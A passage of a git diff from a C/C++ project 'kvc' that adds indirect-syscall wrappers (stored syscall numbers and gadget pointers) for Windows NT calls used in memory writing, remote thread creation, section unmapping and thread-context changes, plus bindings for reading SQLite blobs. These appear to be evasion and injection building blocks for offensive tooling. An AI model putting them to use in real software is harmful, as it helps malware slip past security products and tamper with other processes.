(NTSTATUS)AbiTramp(&g_syscall_stubs.NtUnmapViewOfSection, ProcessHandle, BaseAddress); +} + +NTSTATUS NtGetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtGetContextThread, ThreadHandle, pContext); +} + +NTSTATUS NtSetContextThread_syscall(HANDLE ThreadHandle, PCONTEXT pContext) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtSetContextThread, ThreadHandle, pContext); +} + +NTSTATUS NtResumeThread_syscall(HANDLE ThreadHandle, PULONG SuspendCount) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtResumeThread, ThreadHandle, SuspendCount); +} + +NTSTATUS NtFlushInstructionCache_syscall(HANDLE ProcessHandle, PVOID BaseAddress, ULONG NumberOfBytesToFlush) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtFlushInstructionCache, ProcessHandle, BaseAddress, NumberOfBytesToFlush); +} + +NTSTATUS NtClose_syscall(HANDLE Handle) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtClose, Handle); +} + +NTSTATUS NtOpenKey_syscall(PHANDLE KeyHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtOpenKey, KeyHandle, DesiredAccess, ObjectAttributes); +} + +NTSTATUS NtQueryValueKey_syscall(HANDLE KeyHandle, PUNICODE_STRING_SYSCALLS ValueName, KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, PVOID KeyValueInformation, ULONG Length, PULONG ResultLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtQueryValueKey, KeyHandle, ValueName, KeyValueInformationClass, KeyValueInformation, Length, ResultLength); +} + +NTSTATUS NtEnumerateKey_syscall(HANDLE KeyHandle, ULONG Index, KEY_INFORMATION_CLASS KeyInformationClass, PVOID KeyInformation, ULONG Length, PULONG ResultLength) +{ + return (NTSTATUS)AbiTramp(&g_syscall_stubs.NtEnumerateKey, KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength); +} \ No newline at end of file diff --git a/kvc/syscalls.h b/kvc/syscalls.h new file mode 100644 index 0000000..7e37f31 --- /dev/null +++ b/kvc/syscalls.h @@ -0,0 +1,217 @@ +// syscalls.h +#ifndef SYSCALLS_H +#define SYSCALLS_H + +#include + +#ifndef NTSTATUS +using NTSTATUS = LONG; +#endif + +#ifndef STATUS_BUFFER_TOO_SMALL +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) +#endif + +#ifndef STATUS_BUFFER_OVERFLOW +#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) +#endif + +#ifndef OBJ_CASE_INSENSITIVE +#define OBJ_CASE_INSENSITIVE 0x00000040L +#endif + +#ifndef REG_SZ +#define REG_SZ 1 +#endif + +#ifndef REG_EXPAND_SZ +#define REG_EXPAND_SZ 2 +#endif + +struct SYSCALL_ENTRY +{ + PVOID pSyscallGadget; + UINT nArgs; + WORD ssn; +}; + +struct SYSCALL_STUBS +{ + SYSCALL_ENTRY NtAllocateVirtualMemory; + SYSCALL_ENTRY NtWriteVirtualMemory; + SYSCALL_ENTRY NtReadVirtualMemory; + SYSCALL_ENTRY NtCreateThreadEx; + SYSCALL_ENTRY NtFreeVirtualMemory; + SYSCALL_ENTRY NtProtectVirtualMemory; + SYSCALL_ENTRY NtOpenProcess; + SYSCALL_ENTRY NtGetNextProcess; + SYSCALL_ENTRY NtTerminateProcess; + SYSCALL_ENTRY NtQueryInformationProcess; + SYSCALL_ENTRY NtUnmapViewOfSection; + SYSCALL_ENTRY NtGetContextThread; + SYSCALL_ENTRY NtSetContextThread; + SYSCALL_ENTRY NtResumeThread; + SYSCALL_ENTRY NtFlushInstructionCache; + SYSCALL_ENTRY NtClose; + SYSCALL_ENTRY NtOpenKey; + SYSCALL_ENTRY NtQueryValueKey; + SYSCALL_ENTRY NtEnumerateKey; +}; + +struct UNICODE_STRING_SYSCALLS +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +}; +using PUNICODE_STRING_SYSCALLS = UNICODE_STRING_SYSCALLS *; + +struct OBJECT_ATTRIBUTES +{ + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING_SYSCALLS ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +}; +using POBJECT_ATTRIBUTES = OBJECT_ATTRIBUTES *; + +enum PROCESSINFOCLASS +{ + ProcessBasicInformation = 0, + ProcessImageFileName = 27 +}; + +struct PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + LONG BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +}; +using PPROCESS_BASIC_INFORMATION = PROCESS_BASIC_INFORMATION *; + +struct PEB_LDR_DATA +{ + BYTE Reserved1[8]; + PVOID Reserved2[3]; + LIST_ENTRY InMemoryOrderModuleList; +}; +using PPEB_LDR_DATA = PEB_LDR_DATA *; + +struct RTL_USER_PROCESS_PARAMETERS +{ + BYTE Reserved1[16]; + PVOID Reserved2[10]; + UNICODE_STRING_SYSCALLS ImagePathName; + UNICODE_STRING_SYSCALLS CommandLine; +}; +using PRTL_USER_PROCESS_PARAMETERS = RTL_USER_PROCESS_PARAMETERS *; + +struct PEB +{ + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE BitField; + BYTE Reserved3[4]; + PVOID Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; +}; +using PPEB = PEB *; + +struct CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +}; +using PCLIENT_ID = CLIENT_ID *; + +enum KEY_VALUE_INFORMATION_CLASS +{ + KeyValueBasicInformation = 0, + KeyValueFullInformation, + KeyValuePartialInformation +}; + +struct KEY_VALUE_PARTIAL_INFORMATION +{ + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +}; +using PKEY_VALUE_PARTIAL_INFORMATION = KEY_VALUE_PARTIAL_INFORMATION *; + +struct KEY_BASIC_INFORMATION +{ + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +}; +using PKEY_BASIC_INFORMATION = KEY_BASIC_INFORMATION *; + +enum KEY_INFORMATION_CLASS +{ + KeyBasicInformation = 0 +}; + +inline void InitializeObjectAttributes(POBJECT_ATTRIBUTES p, PUNICODE_STRING_SYSCALLS n, ULONG a, HANDLE r, PVOID s) +{ + p->Length = sizeof(OBJECT_ATTRIBUTES); + p->RootDirectory = r; + p->Attributes = a; + p->ObjectName = n; + p->SecurityDescriptor = s; + p->SecurityQualityOfService = nullptr; +} + +#ifndef KEY_QUERY_VALUE +#define KEY_QUERY_VALUE (0x0001) +#endif + +#ifndef KEY_READ +#define KEY_READ (0x20019) +#endif + +#ifndef KEY_WOW64_64KEY +#define KEY_WOW64_64KEY (0x0100) +#endif + +#ifndef KEY_WOW64_32KEY +#define KEY_WOW64_32KEY (0x0200) +#endif + +extern "C" +{ + extern SYSCALL_STUBS g_syscall_stubs; + + [[nodiscard]] BOOL InitializeSyscalls(bool is_verbose); + + NTSTATUS NtAllocateVirtualMemory_syscall(HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG); + NTSTATUS NtWriteVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + NTSTATUS NtReadVirtualMemory_syscall(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); + NTSTATUS NtCreateThreadEx_syscall(PHANDLE, ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID, ULONG, ULONG_PTR, SIZE_T, SIZE_T, LPVOID); + NTSTATUS NtFreeVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG); + NTSTATUS NtProtectVirtualMemory_syscall(HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); + NTSTATUS NtOpenProcess_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); + NTSTATUS NtGetNextProcess_syscall(HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE); + NTSTATUS NtTerminateProcess_syscall(HANDLE, NTSTATUS); + NTSTATUS NtQueryInformationProcess_syscall(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); + NTSTATUS NtUnmapViewOfSection_syscall(HANDLE, PVOID); + NTSTATUS NtGetContextThread_syscall(HANDLE, PCONTEXT); + NTSTATUS NtSetContextThread_syscall(HANDLE, PCONTEXT); + NTSTATUS NtResumeThread_syscall(HANDLE, PULONG); + NTSTATUS NtFlushInstructionCache_syscall(HANDLE, PVOID, ULONG); + NTSTATUS NtClose_syscall(HANDLE); + NTSTATUS NtOpenKey_syscall(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); + NTSTATUS NtQueryValueKey_syscall(HANDLE, PUNICODE_STRING_SYSCALLS, KEY_VALUE_INFORMATION_CLASS, PVOID, ULONG, PULONG); + NTSTATUS NtEnumerateKey_syscall(HANDLE, ULONG, KEY_INFORMATION_CLASS, PVOID, ULONG, PULONG); +} + +#endif \ No newline at end of file diff --git a/kvc/winsqlite3.def b/kvc/winsqlite3.def new file mode 100644 index 0000000..8da8bad --- /dev/null +++ b/kvc/winsqlite3.def @@ -0,0 +1,13 @@ +LIBRARY winsqlite3.dll +EXPORTS +sqlite3_open_v2 +sqlite3_close_v2 +sqlite3_prepare_v2 +sqlite3_step +sqlite3_finalize +sqlite3_column_blob +sqlite3_column_bytes +sqlite3_column_int +sqlite3_column_int64 +sqlite3_column_text +sqlite3_errmsg \ No newline at end of file diff --git a/kvc/winsqlite3.h b/kvc/winsqlite3.h new file mode 100644 index 0000000..ba5c3b5 --- /dev/null +++ b/kvc/winsqlite3.h @@ -0,0 +1,159 @@ +/* Windows SQLite3 header - Professional interface for winsqlite3.dll */ +#ifndef WINSQLITE3_H +#define WINSQLITE3_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Windows SQLite3 Library Interface + * + * This header provides interface definitions for Microsoft's built-in + * SQLite3 implementation (winsqlite3.dll) available in Windows 10/11. + * + * The API is fully compatible with standard SQLite3 but uses the + * system-provided library for enhanced security and maintenance. + */ + +/* SQLite3 Core Types */ +typedef struct sqlite3 sqlite3; +typedef struct sqlite3_stmt sqlite3_stmt; +typedef int64_t sqlite3_int64; + +/* SQLite3 Result Codes */ +#define SQLITE_OK 0 /* Successful result */ +#define SQLITE_ROW 100 /* Step has another row ready */ + +/* SQLite3 Open Flags */ +#define SQLITE_OPEN_READONLY 0x00000001 /* Read-only database */ +#define SQLITE_OPEN_URI 0x00000040 /* URI filename interpretation */ + +/* Windows SQLite3 Function Declarations */ + +/** + * Open a database connection with extended parameters + * @param filename Database file path or URI + * @param ppDb Output parameter for database handle + * @param flags Open flags (SQLITE_OPEN_*) + * @param zVfs VFS module name (usually NULL) + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_open_v2( + const char *filename, + sqlite3 **ppDb, + int flags, + const char *zVfs +); + +/** + * Close database connection (enhanced version) + * @param db Database handle to close + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_close_v2(sqlite3 *db); + +/** + * Prepare SQL statement for execution + * @param db Database handle + * @param zSql SQL statement text + * @param nByte Length of SQL text (-1 for null-terminated) + * @param ppStmt Output parameter for prepared statement + * @param pzTail Pointer to unused portion of zSql + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_prepare_v2( + sqlite3 *db, + const char *zSql, + int nByte, + sqlite3_stmt **ppStmt, + const char **pzTail +); + +/** + * Execute one step of prepared statement + * @param pStmt Prepared statement handle + * @return SQLITE_ROW if row available, SQLITE_OK if done + */ +__declspec(dllimport) int sqlite3_step(sqlite3_stmt *pStmt); + +/** + * Finalize and destroy prepared statement + * @param pStmt Prepared statement handle + * @return SQLITE_OK on success + */ +__declspec(dllimport) int sqlite3_finalize(sqlite3_stmt *pStmt); + +/* Column Data Access Functions */ + +/** + * Get column value as text + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Pointer to UTF-8 text data + */ +__declspec(dllimport) const unsigned char *sqlite3_column_text( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as binary blob + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Pointer to binary data + */ +__declspec(dllimport) const void *sqlite3_column_blob( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get size of column data in bytes + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Size in bytes + */ +__declspec(dllimport) int sqlite3_column_bytes( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as 32-bit integer + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return Integer value + */ +__declspec(dllimport) int sqlite3_column_int( + sqlite3_stmt *pStmt, + int iCol +); + +/** + * Get column value as 64-bit integer + * @param pStmt Prepared statement handle + * @param iCol Column index (0-based) + * @return 64-bit integer value + */ +__declspec(dllimport) sqlite3_int64 sqlite3_column_int64( + sqlite3_stmt *pStmt, + int iCol +); + +/* Error Handling */ + +/** + * Get last error message for database connection + * @param db Database handle + * @return UTF-8 encoded error message + */ +__declspec(dllimport) const char *sqlite3_errmsg(sqlite3 *db); + +#ifdef __cplusplus +} +#endif + +#endif /* WINSQLITE3_H */ \ No newline at end of file diff --git a/kvc/winsqlite3.lib b/kvc/winsqlite3.lib new file mode 100644 index 0000000000000000000000000000000000000000..a42c9bc968c3367f2319463a9e27bc705e555b80 GIT binary patch literal 3916 zcmcImOHbQC5S}E2G=@Zowuef6xGhr41ws-BkWdv`Di!fm2vTn*BnB+y)g<(F=?P91 zKY?=({DewHJ#g-ULr;i9)t>>KwRfG}jgvSOEREMQ``O>l?l;CcU~yts(4LI zYLls0LYtTt<1y-{H1@Qi0Kh$f;2}Wh6d)W0h+NpFlmUoEnVsV^TI9es+?&iE19f5_j>JBW_~rhlF>hy<@&p#*)S5I>&xqli>(;=(gfL% z?3?xF1$}NdJBu%wrK(Opp;xL#S$`h~*%wjyVx?~IFef15sx_mUs|iRhBx36gqw3IF zj@Z9tmUBh(v*BQzfQZXiio2zMd|9=!!SX4H->B?Xan&3mSv2 z_=fSZ<>OXNL>skQslM%em%2TxIMq~f6lHuE1UL<$M#BIX5r8skyNn&@Xb0$@p`RH5 zI6<2l1UN!dF^=*FANU~%VNhTI1|b4bxCMRC51}^E0Oo%+J&QBZMtmL@UHX=-o-T{& z`cC^b65(xh%PLOiw<7&5ES&OCU{=A_S_5<+a@6VlKAD|NLYph^w?rx8)Q5WX$;VW}!n}(s6V`d@O z$c@BV*ByNLh4zOA0@$V@c1&?88ipZ!@FO3?k$4)^V?VZcu{OvR6_a`fw}-Ietj}BB zFbWHM!%JqqR;gFE8tU`RsJb}6yg)kT3(F74Scm~u8+jsQz%s@skqAeUuav4d=v zovMjz2~IVBOEurE5t4BNxT&UKcR6=XH3=3Zs`1fVhCt4$yr)HH|K(#78RG$MbQgEQzvb4QXu4mN-X{ z)9=D*{lFwr(e;pL(ml^7$QfwmB>zW|LUKJYcF3~Nl@Wix|I687HG{33*56&C?0q%a zfl^w{hd8tS949?JNOYp>VOBfTM~Gu{4ksdkG{GMDCfs%N2(u%nT~?3m>?6_jKARnM f8s_-8vz0_Cy4^EOPPu1zA2U=qM(gM%ejNS*$r